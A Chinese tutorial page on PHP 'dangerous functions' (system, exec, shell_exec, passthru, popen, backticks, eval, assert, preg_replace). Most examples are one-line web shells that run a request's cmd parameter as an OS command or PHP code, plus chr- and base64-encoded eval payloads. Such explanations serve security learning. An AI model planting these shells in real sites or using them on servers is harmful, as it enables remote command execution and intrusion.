IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> PHP常见的函数 -> 正文阅读

[PHP知识库]PHP常见的函数


一、命令执行函数

system()

能够将字符串作为os命令执行,而且自带输出功能。

案例:
<?php
if(isset($_GET['cmd'])){
	echo "<pre>"; //能显示特殊代码输出特殊格式
	system($_GET['cmd']);
	echo "</pre>";
}else{
	echo "Useage:http://IpAddress/?cmd=net user";
}
?>

在这里插入图片描述

exec()

函数能够将字符串作为os命令执行,需要输出执行结果,但是只能显示命令的最后一行(如果是空行,直接不显示内容),适合单行结果的命令输出例如whoami

案例1<?php
if(isset($_GET['cmd'])){
	echo "<pre>"; 
	print exec($_GET['cmd']);//只显示最后一行
}else{
	echo "Useage:http://IpAddress/?cmd=net user";
}
?>

在这里插入图片描述

案例2<?php
if(isset($_GET['cmd'])){
	echo "<pre>"; 
	exec($_GET['cmd',$res]);
	print_r($res);
}else{
	echo "Useage:http://IpAddress/?cmd=net user";
}
?>

在这里插入图片描述

shell_exec()

将函数中的参数当做os命令执行,本身不自带输出功能

案例1<?php
if(isset($_GET['cmd'])){
	echo "<pre>"; 
	print shell_exec($_GET['cmd']);
}else{
	echo "Useage:http://IpAddress/?cmd=net user";
}
?>

在这里插入图片描述

passthru()

函数本身自带输出功能。

案例1<?php
if(isset($_GET['cmd'])){
	echo "<pre>"; 
	passthru($_GET['cmd']);//自带输出功能
}else{
	echo "Useage:http://IpAddress/?cmd=net user";
}
?>

在这里插入图片描述

popen()

函数没有回显,不会显示执行结果,但可以用来执行一些在服务器不需要回显的命令,比如md,也可以利用重定向的方式将有回显的数据导出到服务器端文件中。

案例1<?php
if(isset($_GET['cmd'])){
	echo "<pre>"; 
	popen($_GET['cmd'],'r');//函数没有回显
}else{
	echo "Useage:http://IpAddress/?cmd=net user";
}
?>

在这里插入图片描述

反引号 ``

案例1:
<?php
if(isset($_GET['cmd'])){
 $info = $_GET['cmd'];
 print `$info`;
}else{
 echo "Useage:http://IpAddress/?cmd=ipconfig";
}
?>

在这里插入图片描述

二、代码执行函数

php中有很多函数,可以将(符合PHP语法规范)字符串当作PHP代码执行。

eval()

将符合PHP语法规范的字符串当作php代码执行,eval()执行的字符串要以分号结束

案例1<?php
if(isset($_GET['cmd'])){
	echo "<pre>"; 
	@eval($_GET['cmd']);//
}else{
	echo "Useage:http://IpAddress/?cmd=net user";
}
?>

在这里插入图片描述

案例2:
<?php
$str = "phpinfo();";
//echo $str;
eval($str);
?>

在这里插入图片描述

案例3:对于特殊编码的支持
//ascii编码
<?php
$str1 =chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(110).chr(101).chr(116).chr(32).chr(117).chr(115).chr(101).chr(114).chr(39).chr(41).chr(59);
print($str1);
eval($str1);
?>

在这里插入图片描述

案例4//base64编码
<?php
print(base64_encode("system('net user');"));
eval(base64_decode("c3lzdGVtKCduZXQgdXNlcicpOw"));
?>

在这里插入图片描述

assert()

同样会将字符串当做php代码执行

 案例1<?php
    if(isset($_GET['code'])){
     $code=$_GET['code'];
     assert($code);
    }else{
     echo "please submit code!<br>?code=phpinfo()";
    }
    ?>

在这里插入图片描述

preg_replace()

对字符串进行正则匹配后进行替换

案例1<?php
print(preg_replace("/^a/", "A", "apache")); 
echo "<br>";
print(preg_replace('/\[.*\]/','test','[phpinfo()]')); 
echo "<br>";
echo preg_replace('/\[(.*)\]/','\\1','[phpinfo()]'); 
?>

在这里插入图片描述

总结

本文只介绍了几个比较简单和常见的PHP危险函数,
欢迎大佬多多指教!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-23 10:29:01  更:2021-07-23 10:31:43 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/4 20:21:11-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码